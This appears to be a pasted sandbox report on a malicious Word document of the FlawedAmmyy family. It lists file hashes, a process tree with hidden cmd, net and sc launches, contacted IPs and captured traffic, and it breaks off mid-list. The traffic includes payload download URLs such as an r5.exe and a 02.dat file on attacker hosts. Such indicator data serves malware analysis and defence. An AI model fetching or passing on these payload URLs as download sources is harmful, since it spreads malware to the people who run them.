API tools faq
paste
paladin316

Docs_174f549a028372ce9e803d3e7894a754_doc.json

paladin316
Jun 20th, 2019
3,453
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 325.44 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: "Flawedammyy"
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "Docs_174f549a028372ce9e803d3e7894a754.doc"
  7. [*] File Size: 204288
  8. [*] File Type: "Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Bob, Template: Normal.dotm, Last Saved By: Bob, Revision Number: 5, Name of Creating Application: Microsoft Office Word, Total Editing Time: 03:00, Create Time/Date: Wed Jun 19 18:28:00 2019, Last Saved Time/Date: Wed Jun 19 18:34:00 2019, Number of Pages: 2, Number of Words: 0, Number of Characters: 4, Security: 0"
  9. [*] SHA256: "52f0aaff3654110e82586d21b07c8a3de23dc9efb3f4001daf412286282315c0"
  10. [*] MD5: "174f549a028372ce9e803d3e7894a754"
  11. [*] SHA1: "a719ead2c2f01c4fe97a962810f86e572fb37fd4"
  12. [*] SHA512: "5afde107183a7e31ed8f1b52ec35a0159375f39d413b87f31a7a32357d50717cc9dc206a4416ead4b2be99b4b3de16a7ef0145931beee909d14c75462dddd925"
  13. [*] CRC32: "2F798736"
  14. [*] SSDEEP: "3072:ZxXNhhVvVCua3cY4VkyB8wAmAv2s/1Wvm/cSZoVf:LXP3VCua3cGwWwekSk"
  15.  
  16. [*] Process Execution: [
  17. "WINWORD.EXE",
  18. "yvqxaarmqo84.exe",
  19. "net.exe",
  20. "net1.exe",
  21. "net.exe",
  22. "net1.exe",
  23. "cmd.exe",
  24. "net.exe",
  25. "net1.exe",
  26. "cmd.exe",
  27. "sc.exe",
  28. "cmd.exe",
  29. "net.exe",
  30. "net1.exe",
  31. "cmd.exe",
  32. "sc.exe",
  33. "cmd.exe",
  34. "sc.exe",
  35. "cmd.exe",
  36. "net.exe",
  37. "net1.exe",
  38. "cmd.exe",
  39. "services.exe"
  40. ]
  41.  
  42. [*] Signatures Detected: [
  43. {
  44. "Description": "Attempts to connect to a dead IP:Port (8 unique times)",
  45. "Details": [
  46. {
  47. "IP": "52.109.20.1:443"
  48. },
  49. {
  50. "IP": "96.16.208.28:443"
  51. },
  52. {
  53. "IP": "23.63.254.64:80"
  54. },
  55. {
  56. "IP": "104.18.24.243:80"
  57. },
  58. {
  59. "IP": "23.204.188.191:443"
  60. },
  61. {
  62. "IP": "72.21.91.29:80"
  63. },
  64. {
  65. "IP": "52.109.2.18:443"
  66. },
  67. {
  68. "IP": "213.164.242.16:80"
  69. }
  70. ]
  71. },
  72. {
  73. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  74. "Details": [
  75. {
  76. "ioc": "ist.glox"
  77. },
  78. {
  79. "ioc": "ontent.inf"
  80. },
  81. {
  82. "ioc": "quations.dotx"
  83. },
  84. {
  85. "ioc": "gb.xsl"
  86. },
  87. {
  88. "ioc": "gosttitle.xsl"
  89. },
  90. {
  91. "ioc": "ieee2006officeonline.xsl"
  92. },
  93. {
  94. "ioc": "e.gu"
  95. },
  96. {
  97. "ioc": "chicago.xsl"
  98. },
  99. {
  100. "ioc": "gostname.xsl"
  101. },
  102. {
  103. "ioc": "rings.glox"
  104. },
  105. {
  106. "ioc": "sist02.xsl"
  107. },
  108. {
  109. "ioc": "set.dotx"
  110. },
  111. {
  112. "ioc": "turabian.xsl"
  113. },
  114. {
  115. "ioc": "rocess.glox"
  116. },
  117. {
  118. "ioc": "mlaseventheditionofficeonline.xsl"
  119. },
  120. {
  121. "ioc": "ccent.glox"
  122. },
  123. {
  124. "ioc": "asis.thmx"
  125. },
  126. {
  127. "ioc": "content.inf"
  128. },
  129. {
  130. "ioc": "iso690nmerical.xsl"
  131. },
  132. {
  133. "ioc": "iso690.xsl"
  134. },
  135. {
  136. "ioc": "iew.thmx"
  137. }
  138. ]
  139. },
  140. {
  141. "Description": "A process created a hidden window",
  142. "Details": [
  143. {
  144. "Process": "yvqxaarmqo84.exe -> cmd"
  145. },
  146. {
  147. "Process": "yvqxaarmqo84.exe -> cmd"
  148. },
  149. {
  150. "Process": "yvqxaarmqo84.exe -> cmd"
  151. },
  152. {
  153. "Process": "yvqxaarmqo84.exe -> cmd"
  154. },
  155. {
  156. "Process": "yvqxaarmqo84.exe -> cmd"
  157. },
  158. {
  159. "Process": "yvqxaarmqo84.exe -> cmd"
  160. },
  161. {
  162. "Process": "yvqxaarmqo84.exe -> C:\\Windows\\System32\\cmd.exe"
  163. }
  164. ]
  165. },
  166. {
  167. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  168. "Details": [
  169. {
  170. "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
  171. },
  172. {
  173. "ip_hostname": "HTTP connection was made to an IP address rather than domain name"
  174. },
  175. {
  176. "suspicious_request": "http://54.38.127.28/02.dat"
  177. },
  178. {
  179. "suspicious_request": "http://www.msftncsi.com/ncsi.txt"
  180. }
  181. ]
  182. },
  183. {
  184. "Description": "Performs some HTTP requests",
  185. "Details": [
  186. {
  187. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  188. },
  189. {
  190. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  191. },
  192. {
  193. "url": "http://orderlynet.net/r5.exe"
  194. },
  195. {
  196. "url": "http://54.38.127.28/02.dat"
  197. },
  198. {
  199. "url": "http://www.msftncsi.com/ncsi.txt"
  200. }
  201. ]
  202. },
  203. {
  204. "Description": "Network activity contains more than one unique useragent.",
  205. "Details": [
  206. {
  207. "Process": "WINWORD.EXE"
  208. },
  209. {
  210. "User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)"
  211. },
  212. {
  213. "Process": "yvqxaarmqo84.exe"
  214. },
  215. {
  216. "User-Agent": ""
  217. }
  218. ]
  219. },
  220. {
  221. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  222. "Details": [
  223. {
  224. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbd\\xf42\\xb3\\xeb\\x9f2\\xdc(6\\x0c\\x96\\xd1\\xb2\\xbc~f6=x\\xec\\xfa\\xc3\\x8f\\xe1\\x82`\\x11\\x16m\\xb5\\xed\\xa5sz\\xf1tw\\xeaedg\\x1f]\\xd9\\xe7\\xc9\\x1c'k\\xd6\\xb7\\x13\\xfe\\x04hn\"d\\xe0\\xb0+\\xff\\xf2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000a\\x0e\\xd2u\\x11\\x82\\xd4g\\xc2\\xb0\\xa1\\xe8\\x02<\\x83\\xea\\xad\\xb7\\x10\\x12\\xd2\\xa5\\x87\\x03-\\x0ek\\x9e.,\\xe8\r\\x8ee\\x15\\x8f\\xc1\\x08\\xda\\xdc\\x9f\\x0e\\x11\\xf0a\\xc2\\xf9\\xb4"
  225. },
  226. {
  227. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01ph7v\\xf6\\xc8\\xf4\\xf6c_zv%>\\xaf\\xc0\\x14\\x80e\\xadv\\x88mo9$\\xbd\\xbb\\xc5\\x0ey\\x19\\\\xedj&:\\xaf.\\xd8\\x05k\\xd7g\\xd3\\xf4\\x1c\\xfa\\xc4kt\\x99\\x15\\x04\\xcdz,\\xd3a\\xfeq\\x8c\\xa4\\xcc\\xe9\\xfb\rb\\x9bu\\xb9\\xe1\\x1d\\xff\\x8b*\\xfcy\\xd3'[j3\\x1d\\xe3\\xe32\\xc9\\x7f7\\xee\\x0c\\xfa%\\xca8ed\\xba\\xbcm\\xb8\\x0b]\\xf1f\\x8b\\x82\\x86\\xd0o\\x1a3\\xf6\\xde<\\xb6\\xad\\x84h\\xdf0v-\\x18\\xab\\x9b\\x8d\\x13q\\x98\\xd5\\xe8\\x85\\xfd^\\xa6\\xe1\\x1c\\x1f\\xa8\\xa2m\\xd3\\xa8\\x02\\xf6\\xd4\\xf0\\x7fop\\x9a\\x04\\x84g\\xe6\\xb0\\x86\\x87\\xc6d\\xf04n^.\\xee\\xc4\\x8cb\\x84y5q\\xefj\\xdb\\xf6\tu\\x01\\xd8/\\x9b\\xe6\\xae/\\xb2\\xcb<\\xd3j\\xe5\\x11]\\x98\\x8c`\\xa9\r9\\xaa\\x88\\xaev.\\xe9rn\\xe2:\\xe43@\\xfff\\x19\\x1e\\xd1\\x8c\\x94\\x05}\\xb0n'\\xbe)j\\xde\\xca\\xff!`o\\x9c\\xf8y\\xdc*\\xec\\x02\\xdew\\x0e\\xc1\\xc26\\x90\\xb8\\xfe"
  228. },
  229. {
  230. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01]\\x0b\\xe61\\xb7\\x1b\\x066\\xe1\\xa0\\x88\\x07\\xf5\\x9e\\xf1\\xcds\\x8af\\xed\\x055\\x16\\xfe8\\x91\\x8c>\\xe6k\\xb0\\x17\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  231. },
  232. {
  233. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01]\\x0b\\xe61\\x04p\\xf09\\xa3\\x00\\xc8z\\xba\\xd6q\\x9f\\xddz_\\xdd\\x16\\x8as\\x8a\\xd3\\xaa\\xfb\\xd2\\xd2p\\x8d\\xc0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  234. },
  235. {
  236. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x16\\xc7c,\\x12\\xa8\\xc2^\\x01\\xff\\x16 \\x87l\\xa0me#\nh\\xb1\\x1b\\x82\\x96\\x94\\x9ff]\\xd9z:\\x96\\x07\\xe3h\\x0b\\x1c\\x98!\\x12\\xfa\\x0f\\x03\\x93\\xe3\\xf2\\xa2\\x0e\\x1f1)e\\x0bd\\xda\\xb8\\xc6a\\x06\\xa1\\xdf\\xb9\\xfc\\x18\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x15\\xa4\\x08\\x14\\xdd\\xb6\\xd1y\\x80\\xa9\\xb1\\xb9\\xd4\\x8al\\x99\\x01\\xb477|\\xd9\\xc7\\xa3-\\xc5\\xa2\\x8af\\xf4\\x85\\xe6\\xebl\\xf8g\\x84\\x8a\\xdayiw\\x1e\\xed\\xdd$\\xa4\\xe4"
  237. },
  238. {
  239. "http_request": "winword.exe_InternetCrackUrlW_http://orderlynet.net/r5.exe"
  240. },
  241. {
  242. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\t\\xda\\xf5\\xe2\\x89\\x86\\xedpq\\xdc\\x19q\\x0e\\x81\\x8d\\xe1;e\\xff\\xa8\\xa6\\xd7\\xe5\\x9f\\xd7\\xe3o\\xed\\xfd\\x92\\xcfo\\x8d\\x8c}\\xad\\x13\\xb9\\xe8\\xb3nj\\xa1y\\xc9\\x93\\xb2x\\xc7o(\\xe6\\xc6*\\x10\\xe6l\\xd6\\xd7\\xd6\\xe5uu\\xee\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000q\\xfb!4i\\xf9\\xf1\\xd6\\x9f\t\\t\\xaet\\xd7\\@\\xba\\xb4>\\xfb\\xa2a\\xfe\\xd2\\x94\\x96\\xe2\\xa0\\xa6\\xe6\\xe45,\\xba\\xe7u\\xf9\\x89\\xf4\"e\\xf4\\xcec\\xb0\\x13p"
  243. },
  244. {
  245. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xa9=gb\\x08\\xcf\\xc5\\xeb\\xb3\\xd5\\xd5^\\x14\\xe2%0\\x86\\x00st\\xa4*u& \\x1b\\xba\\x1eq\\xe9\\x87\\xb9\\x97\\x10\\x16\\xa3w\\xb4o\\x15\\x91\\x17\\xef.\\x95\\x00l\\xf0z\\xa6\\x92\\xe4\\xbe\\xa46 q\\xfe\\xc0\\x82\\xacg-\\xce'\\xe6\\xa3\\x17\\xd1\\xbb\\x82\\xe55 \\xeb\\xb4\\xfb`\\x11r\\xd4e\\xf0\\xbd\\xa3?\\xf6'\\xe7\\xa6l4|\\x0f\\xc3\\xd2\\x12\\xd5\\xc2\\xea\\xa1\\xc8\\x0b\\xed\\x06`\\xdaw\\xa4*\\x9cd\\xce\\x1ca\t\\x97c\\xf9d\\x1d\\x19x\\x0b\\x8d;\\xed}\\xcc\\x955d\\xe6\\xf4==\\xd3\\xe3\\x9b\\x95i@\\xb5\\x83oo\\x07\\x82~\\x1c\\xfao\\xedt\\xcd\\xb3\\xd9\\x9e\\xb6\nww\\xe8/\\x16\\x9c\\xd1\\xee7w\\xc2\\xff\\xefcfis\\x98\t\\xfa\\xa0o\\xa8\\x92\\x02\\xd7r\\xd4\\xcf\\x0c\\xa7\\xd7u;e\\xa4\\x18]\\x0b\\xc9\\x05\\xdb\\x0f\\xd9\\x06\\x10\\xda\\xd8g\\x15\\\\x0br\\x85\\xf7\\xfek\\xc0.\\xc9x\\xeeg\\xdfz\\xcf\\x83\\xe1\\xf2\\xda\\xb8tp\\xd5\t\\x843y\\x1a\\xfa\ngl\\xeaujyliy-"
  246. },
  247. {
  248. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  249. },
  250. {
  251. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  252. },
  253. {
  254. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xae3\\xe2\\xef`\\x86x\\x99m1b\\xaea\\xa9\\x1b\\x15\\x9a\\x84\\x10l\\x0b5|9\\x0e\\\\x89\\x1eye\\xe2\\xcc\\d\\xdf#\\x8eu\\xc58\n\\x12rik\\x8f;\\xf6;i\\xfc\\x12\\xee\\xcf\\xc6\\xa4\\xea3\\xa8:\\x9ez5$j\\xbc\\xcfh\\xe4ff\\xd3'\\xbf\\xb5\t\\xbaw\\xdd\\xc7\\x17i\\x95\\x8f/29{\\xcd\\x8b\\xdc\\x19\\xdd\\x87\\x80\\x93@\\xcb/\\x98\\xe2\\xda\\xbd\\x94a\n\\xc6\\x9ftvv\\xa3\\xd8\\xf7\\xe0\\x810\\xec7\\xe0^\\x8fw\\x90--\\xdbt\\xef=\\xe1\\xe1\\xe0)k\\x13\\xb7\\xf3\\x0ek\\xb9,\\x0e\\x8a\\xc9\\xc6\\x98\\x04\\x04o\\xe9ch%u\\x89\\x92\ts\\x07\\xa1+\\x13\\xca~\\x0f\\x0e\\xea,\\xfdgy\\x0b\\x94\\x80\\xa3\\x1f\\xed|\\x1c\\x941\\xffo\\x8d-\\x85\\x8b\\xb9\\xfe\\xc4]\\x1f\\x14\\xec\\xc7\\xf3=\\x8f<d\\x8b\\x18\\xbd:!\\x9f\"+,\\x7fs\\x96\\x02\\xb0\\xe3\\xda\\xb4\\x88_no\\xa5\\x11v\\xc73\\x83\\xd3w,\\xe4\\xe3\\x9dn#\\xa1\\xc5\\xea{y\\x9b$\\x90s\\xb0\\x80~\\x8d\\xe0\\xd4"
  255. },
  256. {
  257. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\xe4\\x01\\xaa+\\xb4\\x15\\xac\\xc4\\xbb\\xe2{\\xd1&\\x12\\xcb\\x81\\xe6;\\x03\\xe9\\x1asx\\xbev\\xf0\\x10\\xc1\\x03\\x10u;\"\\xb4\\xd2\\xce\\x06\\xad\\xde\\xf0\\x14\\x16\\x96\\xc1\\xa2\\xf6\\xb9\\xea\\x1a>\\xf3\\x16/\\xa0\\xdc\\x1b\\x89\\x07\\xbd\\x11\\x05\\xa6\\xa0cg7\\xed;\\xcel\\xc5\\t\\xfb\\xaf\\xef\\xf8\\x1ay\\x94\\xbc\\xc5\\x9f5xtc\\x86\\x10|8\\x0c`\\x1a'4\\x01\\x03n\\x8c\\xefv\\xfb\\xe1t\\x9f\\x94\\xdf\\xcd\\xb0\\x97\\x88\\xa4/\\x9arnp\\xe0e5h\\xd0\\x08\\x95\\xf9v\\xbc\\xed\\xca\\xad\\xd2\\x07\\xe5\\xaf\\xcau(<\\xd8\\xd6\\x98m\\xab\\x7fo\\x85\\xf0w\\xe4\\x92q\\x1b\\x89#ss\\x12k\\xaf\\x8fc.\\x1a9\\x890\\xb4\\xbf\\x1b~0\\xee\\x0b1$x\\xbe\\xfd\\x1d\\x04-a4b\\xc7@\\xf1\\x9c\\xe7\\xb4\\x8b\t\\x11d\\xfb#o\\x9aw\\xd5\\x11w\\x00\\x17\\\\xcd\\xc0r\\xe9\\xa4\\x81\\xc0\\xf5\\x12\\x17r\rz\\xab\\x1c\\xc2i\\x84\\x1e)\\xeb\\x9ddtas\\xeb\\xd5g\\xd1\\xdb\\xd1\\x0f^\\xd1\\x88j\\xe3\\x13\\xc4\\xa4\n\\x97\\xe8="
  258. },
  259. {
  260. "http_request_path": "winword.exe_HttpOpenRequestW_/r5.exe"
  261. },
  262. {
  263. "http_request": "winword.exe_InternetCrackUrlA_http://orderlynet.net"
  264. },
  265. {
  266. "http_request": "winword.exe_InternetCrackUrlA_http://orderlynet.net/r5.exe"
  267. },
  268. {
  269. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00}\\x01\\x00\\x00y\\x03\\x01]\\x0b\\xe6<<6\\xa7\\x98\\x96k\\x1b\t\\xf8\\xf5\\xa4\\x154\\xe6\\x9a\\xbfp\\xc2\\x03\\xb6\\x9a\\x1b \\x1dp\\xa0#\\x92\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  270. },
  271. {
  272. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04#\\x96\\xde\\xb4\\x84\\xcf\\xb7\\x92\\xfb\\x11\\x8d\\xf5~\\xb3\\xa3\\x95\\xd2\\xfd\\x05\\xcd\\xb8\\xadk;\\x85d\\x84\\x1c\nn\\x80m0\\x9f~\\x007\\xb5vi\\x8f\t\\xfb\\xf5@2{\\xd8\\xc2jv\\x93\\xe4\\xe3\\x12d?0\\x8f$&\\x8f\\xd2]\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x95\\x85\\x1bg\\xf7\\xde\\\\x1b\\x06@j\\x932\\xabz\\x91\\x11\\xa1q\\xfb\\xb3\\xb5/{9|%\\xa0\\xc9\\xea\\xab\\x02ay\\x8eve\\xecl\\xf3t\\xc3\\xae/\\x08\\x98l\\xca"
  273. },
  274. {
  275. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xbc\\x9f\\x8f\\xa3w\\xd5\\xb6x\\xfe\\x13\\xfa\\xa7\\c\\xa4\\x03\\x88h7\\xb0\\x86\\xb7k[\\xf0\\xa9\\xfc\\xfd\\xc5\\xd8\\x96\\\\x93'\\xde\\xc1\\xdei\\x0fs\\xfd7\\x96\\xfb\\xc3\\xbc$\\xd8\\x8dqi;\\x16\\xde\\xb84f\\xcd\\x94\\xd1\\xbdc\\x16\\x01\\xb0l\\x12\\xa1\\xe6\\x9a\\x00k\\x17\\xee\\xc8h\\x80\\x12\\x11% ;\\x01\\xa311;$\\xfa\\x15\\xfe\\x85y\\x98e`h\\x86\\xd3ctcg\\x91\\xd7\\x86\\xb0\\x8a\\xbe\\xc6\\xdd\\xcf\\xea\\xb6\\x8cu\\x1e\\xa3\\xd0\\x84\\x02\\x9d@\\xc1\\x08\\c\n\\xeb/\\x00\\xab\\x90i\\xae\\x8a2\\x84\\x02\\x01y\\xb3e2\\xb5\\x8c\\xcf\\xff_\\x9d\\xfb<t\\x14\\x176\\x7f\\xb6w\\xed\\xc09qt\\xf9\\x1a\\x81\\xfe%\\xeag\\x17\\xd1\\xa6\\xbb\\xf6d\\xc3\\xd0\\x04t\\x1b\\xec\\xef\\xde\\xda\\xc9\\xdf\\x87@{9\\x02u\\xc8\\x88|m\\xed$\\xcdk\\x9b\\xe6)\\xd5l\\x18\\xd3\\x12\\xc1>m\\xf8p\\x8d\\xae\\x9d~j&\\x1f\\xdf\\x0e\\x1f\\xd4/\\x16\\x89i\\xe9^\\xf3\\xdf\\x9dg\\xe6\\xe2\n\\xe0y7\\x8di\\xbb\\x10\\x82\\xf5y\\xca\\xd5"
  276. },
  277. {
  278. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\xb1(\r\\xca\\xe0\\xa57\\xb5\\x01\\x15\\\\xd7\\xb7\\xbb\\\\xf4\\x8c\\xb0'~\\xc8\\x9aywjh.l\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  279. },
  280. {
  281. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6aj\\xc0w\\xa5\\xa4v\\xe0]\\x1d\\xb1(\\xd5\\xfby\\xcf\\xf8\\xdf5\\xd3rd\\x8b\\x83l\r\\x15\\xb1\\xd3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  282. },
  283. {
  284. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\xf1d\\xebf\\xf7\\xc2\\xba\\x11\r\\xcdu\\xde\\xbb\\x04h\\xe9\\xee\\x82\\x0b\\x18\\xcb\\xf0\\xd1u\\x07[\\x05\\xf9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  285. },
  286. {
  287. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6aj\\xd32(\\x1d2\\xbe\\xbc\\xd9[4\\x00#\\x86\\xd3v\\xd8cx\\x89\\xf4\\xd7\\xdfhc)\\x8a\\x7f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  288. },
  289. {
  290. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\x90\\x11\\xd7\"`1p\\xf6\\xd771\\\\x11b\\xefk\\x1c\\xa7\\xd6g\\x8fa\\x0bcu\\x06x\\x9f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  291. },
  292. {
  293. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\xb3:x\\xd0\\x1b6\\x84+\\xa7\\x0f,\\xa7~(;\\x84x\\x85_fx\\xab\\xd0\\xa0\\x7f(>\\xae\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  294. },
  295. {
  296. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a0i\\x91\\x9f\\x0bd\\xc9\\\\xa0\\xca\\x1fj66\\xb8jds1\\x8d\\xe0\\xa7\\x1a\\x8a\\x8c\\x19\\xc5\\xc1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  297. },
  298. {
  299. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6av\\xc6p\\x04\\xd6\\x8e\\xce\\x1f;y\\xf4\\x1e\\x7f\\x98\\xdaq\\xfb\\xa1\\xa8'\\xc8^\\x0b\\x98\t\\xe1m\\xad\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  300. },
  301. {
